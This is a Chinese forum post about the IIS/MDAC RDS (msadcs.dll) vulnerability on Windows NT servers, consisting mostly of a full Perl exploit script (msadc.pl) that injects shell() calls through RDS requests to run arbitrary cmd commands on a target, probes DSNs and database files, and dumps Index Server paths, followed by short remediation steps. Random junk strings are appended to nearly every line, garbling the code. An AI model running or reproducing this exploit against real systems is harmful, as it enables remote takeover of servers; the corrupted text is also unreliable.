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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Z/7dg-$?'0  
fv2=B )8$  
涉及程序: B9^R8|V  
Microsoft NT server C_Gzv'C"L  
W&KM/9d  
描述: Uouq>N  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 -TS? fne)  
5(#-)rlGj  
详细: 7wi%j!  
如果你没有时间读详细内容的话,就删除: H(&Z:{L  
c:\Program Files\Common Files\System\Msadc\msadcs.dll N5!&~~  
有关的安全问题就没有了。 CKd3w8;  
gc,Ps  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 lkwh'@s.  
!.-.#<<_a  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ^mfjn-=3  
关于利用ODBC远程漏洞的描述,请参看: kc Y,vl  
]7vf#1i<  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm J*K<FFp3<  
?(D}5`Nfu  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 a:}E& ,&M  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp yC"Zoa6YZ  
Y&GuDLUF  
这里不再论述。 J3IRP/*z  
L;yEz[#xaT  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0H+c4IW  
KTv4< c]  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -l[jEJS}  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ,]q%/yxi  
$ eX*  
y\z > /q  
#将下面这段保存为txt文件,然后: "perl -x 文件名" q~h:<,5  
DxfMqH[vs  
#!perl _z]v<,=3M  
# n_P(k-^U*  
# MSADC/RDS 'usage' (aka exploit) script @|=UrKAN  
# ?0z)EPQ|  
# by rain.forest.puppy choL %g}  
# &I)\*Ue2t  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me oyW00]ka  
# beta test and find errors! k%Eh{dA  
v$3_o :  
use Socket; use Getopt::Std; +* D4(  
getopts("e:vd:h:XR", \%args); TvM24Orct  
m^A]+G#/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; !tBeuemN%  
X:{WZs"[x  
if (!defined $args{h} && !defined $args{R}) { p8>R#9  
print qq~ >?V<$>12  
Usage: msadc.pl -h <host> { -d <delay> -X -v } H"D 5 e  
-h <host> = host you want to scan (ip or domain) g ;LVECk  
-d <seconds> = delay between calls, default 1 second Q!]IG;3Sx|  
-X = dump Index Server path table, if available 7E\gxQ(vU  
-v = verbose ~6sE an3p  
-e = external dictionary file for step 5 9P0yv3  
Yrsp%<qj  
Or a -R will resume a command session Q c3?}os2  
LzE/g)>  
~; exit;} :'Xr/| s  
@'gl~J7  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; k/bque  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} !sG"n&uZq  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h!Y?SO.b  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); b^Z$hnh]S  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $m8leuo)  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } *%?d\8d  
j6og3.H-  
if (!defined $args{R}){ $ret = &has_msadc; JCcQd 01z  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} H pFb{  
@>:i-5  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" m>YWxa   
. "cmd /c "; ^W}MM8 '  
$in=<STDIN>; chomp $in; AsAFUuI  
$command="cmd /c " . $in ; z{M8Yf |  
A;T[['  
if (defined $args{R}) {&load; exit;} Y-]YDXrPQ  
F"=Hp4-C  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; o\60 n  
&try_btcustmr; ]738Z/)^  
L;Vq j]_  
print "\nStep 2: Trying to make our own DSN..."; >fbo r'|  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; e/@29  
AWL[zixR  
print "\nStep 3: Trying known DSNs..."; KGQC't  
&known_dsn; jE*Ff&]%m  
RJ*F>2  
print "\nStep 4: Trying known .mdbs..."; HT&p{7kFm  
&known_mdb; O4N-_Kfp/  
0[i}rC9&  
if (defined $args{e}){ hb<k]-'!  
print "\nStep 5: Trying dictionary of DSN names..."; K plM['uF  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } S\b K+  
6y9C@5p}B  
print "Sorry Charley...maybe next time?\n"; e2bLkb3c  
exit; "qgu$N4/>  
hv{87`L'K(  
############################################################################## v~aLTI  
?$16 A+  
sub sendraw { # ripped and modded from whisker ,02w@we5  
sleep($delay); # it's a DoS on the server! At least on mine... w49{-Pp[  
my ($pstr)=@_; U$%|0@`~  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || wn1, EhHt  
die("Socket problems\n"); on_H6Y@B52  
if(connect(S,pack "SnA4x8",2,80,$target)){ s,kU*kHn  
select(S); $|=1; .OV-`TNWj  
print $pstr; my @in=<S>; yYk|YX(7U  
select(STDOUT); close(S); D>Ua#<52q  
return @in; ?CFoe$M  
} else { die("Can't connect...\n"); }} I8Kb{[?q  
2md.S$V$,  
############################################################################## E9L!)D]Y  
EU9[F b]  
sub make_header { # make the HTTP request *73AAA5LKa  
my $msadc=<<EOT F0&O/-w&u  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ZHcONYAr  
User-Agent: ACTIVEDATA 4@mso+tk  
Host: $ip _{mJ.1)V;  
Content-Length: $clen s{B_N/^  
Connection: Keep-Alive %b9fW  
>HX)MwAP  
ADCClientVersion:01.06 s_v }=C^  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  VmYBa(  
 +xq=<jy  
--!ADM!ROX!YOUR!WORLD! 58PKx5`D  
Content-Type: application/x-varg w_GLC%|7  
Content-Length: $reqlen 4/f[`].#W  
97(n\Wt 2  
EOT jP7w6sk E  
; $msadc=~s/\n/\r\n/g; SKW;MVC  
return $msadc;} _\!0t  
UC(9Dz  
############################################################################## Q<C@KBiVE  
7G2vYKC'  
sub make_req { # make the RDS request UFL0 K  
my ($switch, $p1, $p2)=@_; zG<0CZQ8  
my $req=""; my $t1, $t2, $query, $dsn; TRo4I{L6S  
zaBG=  
if ($switch==1){ # this is the btcustmr.mdb query Xa)7`bp<  
$query="Select * from Customers where City=" . make_shell(); Q Y@nE  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . o:4CI  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} p#z;cjfSt  
}d@LSaM  
elsif ($switch==2){ # this is general make table query {vjq y&?y  
$query="create table AZZ (B int, C varchar(10))"; zQn//7#-G  
$dsn="$p1";} ~%/'0}F  
ThbP;CzI#  
elsif ($switch==3){ # this is general exploit table query rrYp'L  
$query="select * from AZZ where C=" . make_shell(); GgT=t)}wu  
$dsn="$p1";} uO6c3|Zjs  
}0vtc[!  
elsif ($switch==4){ # attempt to hork file info from index server ynxWQ%d(`  
$query="select path from scope()"; 1ZKz3)K  
$dsn="Provider=MSIDXS;";} z(#=tC|  
sBbL~ce50?  
elsif ($switch==5){ # bad query ]gEu.Nth`  
$query="select"; O-?z' @5cI  
$dsn="$p1";} G;Us-IRZ  
=>P_mPP=  
$t1= make_unicode($query); 9*f2b.Aj  
$t2= make_unicode($dsn); MwN1]d|6  
$req = "\x02\x00\x03\x00"; r,QJG$ Jo  
$req.= "\x08\x00" . pack ("S1", length($t1)); 7L1\1E:!  
$req.= "\x00\x00" . $t1 ; t;oT {Hge  
$req.= "\x08\x00" . pack ("S1", length($t2)); 38<~R  
$req.= "\x00\x00" . $t2 ; p_A5C?&  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Vvx a.B  
return $req;} /E; ;j9  
^Kb9@lz/  
############################################################################## :~-)Sm+^  
}rFThI  
sub make_shell { # this makes the shell() statement  \\y}DNh  
return "'|shell(\"$command\")|'";} vR<fdV  
P*}9,VoY  
############################################################################## fMgcK$  
?G2qlna  
sub make_unicode { # quick little function to convert to unicode :v|r=#OI  
my ($in)=@_; my $out; \,$r,6-g  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Mr#oT?  
return $out;} ;b{pzIe=F  
iH($rSE  
############################################################################## cw*(L5b u  
8}ii3Py  
sub rdo_success { # checks for RDO return success (this is kludge) ]JkpRaP$  
my (@in) = @_; my $base=content_start(@in); _G_ &Me0  
if($in[$base]=~/multipart\/mixed/){ Z $ p^v*y  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} eUzU]6h  
return 0;} Q>cL?ie  
XfD z #  
############################################################################## 4W[AXDS  
Wm];pqN  
sub make_dsn { # this makes a DSN for us ~)WfJ  
my @drives=("c","d","e","f"); ;5,`Jpca  
print "\nMaking DSN: "; MoC*tImWR  
foreach $drive (@drives) { h v;n[  
print "$drive: "; -wPuml!hZ|  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . FKDamHL<  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ~}hba3&b;#  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); KIXwx98  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?CcR 7l  
return 0 if $2 eq "404"; # not found/doesn't exist w0q?\qEX  
if($2 eq "200") { PPuXas?i  
foreach $line (@results) { D5o+ 0R  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} G2U5[\  
} return 0;} [)C)p*!Y)  
hX{g]KE>  
############################################################################## 3fbD"gL  
;EE{ ~  
sub verify_exists { #QJ4o_  
my ($page)=@_; n.;5P {V1  
my @results=sendraw("GET $page HTTP/1.0\n\n"); <lg"M;&Ht  
return $results[0];} F&nMI:h7  
o O{|C&A  
############################################################################## l^!0|/Vw  
m!FM+kge  
sub try_btcustmr { dQWA"6 ?i  
my @drives=("c","d","e","f"); P?W T)C2)u  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @w.b |  
;%b <uV  
foreach $dir (@dirs) { Vsm%h^]d  
print "$dir -> "; # fun status so you can see progress A~yw8v5UF  
foreach $drive (@drives) { i;uG:,ro  
print "$drive: "; # ditto  \\E_W9.u  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; s)`1Rf  
$reqlenlen=length( "$reqlen" ); 9;xL!cy  
$clen= 206 + $reqlenlen + $reqlen; &y+PSa%n  
D>"{H7m Y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); goBKr: &]w  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} LB64W ;#h  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} h M1&A  
h[[/p {z  
############################################################################## a?xq*|?  
-x3tx7%  
sub odbc_error { mBD!:V'  
my (@in)=@_; my $base; dwf #~7h_  
my $base = content_start(@in); 8KGv?^M 6W  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this r['=a/.C  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Xdp`Z'g  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 21)-:rS  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U{za m  
return $in[$base+4].$in[$base+5].$in[$base+6];} -G^t-I  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]<o.aMdV  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 0.{oA`5N  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} hsQrd%{f  
8wH41v67F  
############################################################################## V.P5v {  
4LKs'$:A=  
sub verbose { &d|VH y+  
my ($in)=@_; 0[$Mo3c+'  
return if !$verbose; 6{Cu~G{]N  
print STDOUT "\n$in\n";} 71n uTE%!  
R1b )  
############################################################################## ~gLEhtW  
"DcueU#!  
sub save { !Z0rTC3d  
my ($p1, $p2, $p3, $p4)=@_; {eD>E(Y@z1  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; :.'T+LI  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; D=I5[t0c4  
close OUT;} ym,Ot1  
p#8LQP~0$  
############################################################################## ]9yA0,z/  
b1 ['uJF  
sub load { Q\/":ISq1  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ? /|@ #&  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ]Buk9LTe  
@p=<IN>; close(IN); KiRt'  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $X<<JnsK  
$target= inet_aton($ip) || die("inet_aton problems"); MF`k~)bDV  
print "Resuming to $ip ..."; Xw}Y!;<IEu  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; glKs8^W  
if($p[1]==1) { :+dWJNY:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; />2$ XwP  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; G4J6  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); c:,{ O 0 #  
if (rdo_success(@results)){print "Success!\n";} c7TWAG_+  
else { print "failed\n"; verbose(odbc_error(@results));}} h C`p<jp/  
elsif ($p[1]==3){ $>rfAs!  
if(run_query("$p[3]")){ +n.j.JP"X  
print "Success!\n";} else { print "failed\n"; }} [m+O0VK$  
elsif ($p[1]==4){ g]#zWTw(   
if(run_query($drvst . "$p[3]")){ 6x3Ew2  
print "Success!\n"; } else { print "failed\n"; }} M(]|}%  
exit;} *y\tnsU  
qD>Y}Z !  
############################################################################## -_f0AfU/a  
XJ1nhE  
sub create_table { A)p! w aG  
my ($in)=@_; uY%3X/^j  
$reqlen=length( make_req(2,$in,"") ) - 28; +?m=f}>W1  
$reqlenlen=length( "$reqlen" ); sbiDnRf  
$clen= 206 + $reqlenlen + $reqlen; uKAHJ$%  
my @results=sendraw(make_header() . make_req(2,$in,"")); ={D B  
return 1 if rdo_success(@results); ="TOa"Zk  
my $temp= odbc_error(@results); verbose($temp); u'n%BVt   
return 1 if $temp=~/Table 'AZZ' already exists/; )mZy>45  
return 0;} &i}cC4i   
*Lk&@(  
############################################################################## $bC!T  
:7;Iy u  
sub known_dsn { JI; i1@| b  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go F-OZIo  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ez9M]! 8Lt  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", J-{E`ibGN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); KUn5S&eB  
Vm8_ !$F  
foreach $dSn (@dsns) { l:C0:m%  
print "."; 7Qztc?XK  
next if (!is_access("DSN=$dSn")); )Zr0_b"V:e  
if(create_table("DSN=$dSn")){ ^?VT y5yp  
print "$dSn successful\n"; lVBy&f  
if(run_query("DSN=$dSn")){ J3JRWy@?P  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Oes+na'^  
print "Something's borked. Use verbose next time\n";}}} print "\n";} [5#/& k{  
2&f=4b`Z  
############################################################################## !g:G{b  
g wiC ,  
sub is_access { 8l,hP.  
my ($in)=@_; +|w~j#j9`  
$reqlen=length( make_req(5,$in,"") ) - 28; v%e"4:K}?  
$reqlenlen=length( "$reqlen" ); ,<WykeC  
$clen= 206 + $reqlenlen + $reqlen; !7kOw65+0  
my @results=sendraw(make_header() . make_req(5,$in,"")); WD1$"}R  
my $temp= odbc_error(@results); vPq\reKe  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); t/BiZo|zl  
return 0;} c{P`oB8  
6Z}))*3 9  
############################################################################## Nfvg[c  
AiI# "  
sub run_query { W/QOG&g  
my ($in)=@_; *==nOO9G  
$reqlen=length( make_req(3,$in,"") ) - 28; }Q(I&uz  
$reqlenlen=length( "$reqlen" ); D[y|y 3F  
$clen= 206 + $reqlenlen + $reqlen; J}u1\Id%  
my @results=sendraw(make_header() . make_req(3,$in,"")); nvs7s0@Fqe  
return 1 if rdo_success(@results); 9!C?2*>A P  
my $temp= odbc_error(@results); verbose($temp); 74OM tLL$  
return 0;} ~"B[6^sW  
vwD(J.;  
############################################################################## q &o=4  
W5;sps  
sub known_mdb { a'~y'6  
my @drives=("c","d","e","f","g"); ~q>ilnL"h  
my @dirs=("winnt","winnt35","winnt351","win","windows"); MUl+Oy>  
my $dir, $drive, $mdb; _kLoDju%  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Q{-r4n|b  
j!H?dnE||  
# this is sparse, because I don't know of many "MN'%"/  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Sw)ftC~d  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", FvP1;E  
"\\system32\\certmdb.mdb", ;OyM~T gI  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /q]@|5I  
Zt=X %M|aw  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", gJ7pu N  
"\\cfusion\\cfapps\\forums\\forums_.mdb", m %3Kq%?O  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", "j>0A Hem  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ymvd= F   
"\\cfusion\\cfapps\\security\\data\\realm.mdb", giq`L1<  
"\\cfusion\\database\\cfexamples.mdb", ?[">%^  
"\\cfusion\\database\\cfsnippets.mdb", RwKN  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", jm"xf7  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9-SXu lgu  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ,{at?y*  
"\\cfusion\\database\\smpolicy.mdb", jL1UPN  
"\\cfusion\\database\cypress.mdb", fok#D>q  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", &y+eE?j  
"\\website\\cgi-win\\dbsample.mdb", _,Y79 b6  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Y8(yOVy9  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" D bJ(N h  
); #these are just JTJ4a8DE  
foreach $drive (@drives) { }J`Gm  
foreach $dir (@dirs){ jL$X3QS:  
foreach $mdb (@sysmdbs) { E~Nr4vq  
print "."; bcfOp A  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ {n'}S(  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; \ZH=$c*W  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ )M~5F,)  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; g9JtWgu  
} else { print "Something's borked. Use verbose next time\n"; }}}}} kOO2 ?L|Z  
$Izk]o;X~  
foreach $drive (@drives) { t!GY>u>`  
foreach $mdb (@mdbs) { ;Wdo*ysW  
print "."; '%N p9Iqt  
if(create_table($drv . $drive . $dir . $mdb)){ I%Z &i-33y  
print "\n" . $drive . $dir . $mdb . " successful\n"; Tj:F Qnx  
if(run_query($drv . $drive . $dir . $mdb)){ teb(\% ,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; pppbn]%Ob  
} else { print "Something's borked. Use verbose next time\n"; }}}} |HLh?AcX  
} J2rH<Fd[up  
3L|k3 `I4  
############################################################################## hSmM OS{  
4Ki'r&L\  
sub hork_idx { ^.Q),{%Xo  
print "\nAttempting to dump Index Server tables...\n"; qI}Zg)q]  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; CAO$Zt  
$reqlen=length( make_req(4,"","") ) - 28; ~7v^7;tT  
$reqlenlen=length( "$reqlen" ); .jU9{;[  
$clen= 206 + $reqlenlen + $reqlen; RA}PM?D/  
my @results=sendraw2(make_header() . make_req(4,"","")); [B Al  
if (rdo_success(@results)){ +7w>ujeeJA  
my $max=@results; my $c; my %d; }V{, kK  
for($c=19; $c<$max; $c++){ =*pu+o,?  
$results[$c]=~s/\x00//g; |d$aIS O`  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; EifYK  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 5"+* c@L  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; yd k  
$d{"$1$2"}="";} !?96P|G  
foreach $c (keys %d){ print "$c\n"; } lc^%:#@  
} else {print "Index server doesn't seem to be installed.\n"; }} x =k$^V~  
Tn|re Xc0e  
############################################################################## | zf||ju  
+_<# 8v  
sub dsn_dict { $[d}g  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); |kn}iA@72p  
while(<IN>){ Y:wds=lA  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Oe?nX>  
next if (!is_access("DSN=$dSn")); h W-[omr0  
if(create_table("DSN=$dSn")){ j>U.(K  
print "$dSn successful\n"; |Z<adOg  
if(run_query("DSN=$dSn")){ <NUZPX29  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { qQb8K+t  
print "Something's borked. Use verbose next time\n";}}} V:lDR20*\  
print "\n"; close(IN);} aPbHrk*/  
$8s&=OW  
############################################################################## WrV|<%EQh  
975KRnj  
sub sendraw2 { # ripped and modded from whisker 8/=2N  
sleep($delay); # it's a DoS on the server! At least on mine... eu~;G H  
my ($pstr)=@_; T@L^RaPX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lm+wjhkN  
die("Socket problems\n"); ;J4_8N-  
if(connect(S,pack "SnA4x8",2,80,$target)){ )}EwEM  
print "Connected. Getting data"; %V$^CWOy  
open(OUT,">raw.out"); my @in; QRRZMdEGs[  
select(S); $|=1; print $pstr; te`4*t  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} pG (8VteH  
close(OUT); select(STDOUT); close(S); return @in; f~53:;L/  
} else { die("Can't connect...\n"); }} V; ChrmE  
/<n_X:[)  
##############################################################################  d00r&Mc  
V3UEuA  
sub content_start { # this will take in the server headers 4)`{ L$  
my (@in)=@_; my $c; MT3UJ6~P  
for ($c=1;$c<500;$c++) { *2 [r?!  
if($in[$c] =~/^\x0d\x0a/){ Dx8^V%b  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Aoj X)_"z  
else { return $c+1; }}} ].$N@t C  
return -1;} # it should never get here actually a^CIJ.P2  
ej0q*TH.  
############################################################################## a+Z/=YUR  
8r~4iVwg  
sub funky { U+\\#5$  
my (@in)=@_; my $error=odbc_error(@in); :/u EPki  
if($error=~/ADO could not find the specified provider/){ Ts.6 1Rx  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *@D.=i>  
exit;} ec{pWzAe  
if($error=~/A Handler is required/){ |d{4_o90  
print "\nServer has custom handler filters (they most likely are patched)\n"; j_k!9"bt  
exit;} Cjw|.c`  
if($error=~/specified Handler has denied Access/){ qLcs)&}/A  
print "\nServer has custom handler filters (they most likely are patched)\n"; &n['#7 <(!  
exit;}} 1%>/%eyn5  
Ygg+*z  
############################################################################## WzF/wzR  
{`{U\w5Af  
sub has_msadc { pJV<#<#Z  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 7%C6gU!r  
my $base=content_start(@results); P#iBwmwN+.  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); X'O3)Yg  
return 0;} y<kW2<?  
orJN#0v4  
######################## oB+drDp8U  
HG{OkDx]fl  
6m?}oMz  
解决方案: G/b $cO}  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll dtJ?J<m}  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ibha`  
s>ilxLSX]  
拿出来充数 哈哈
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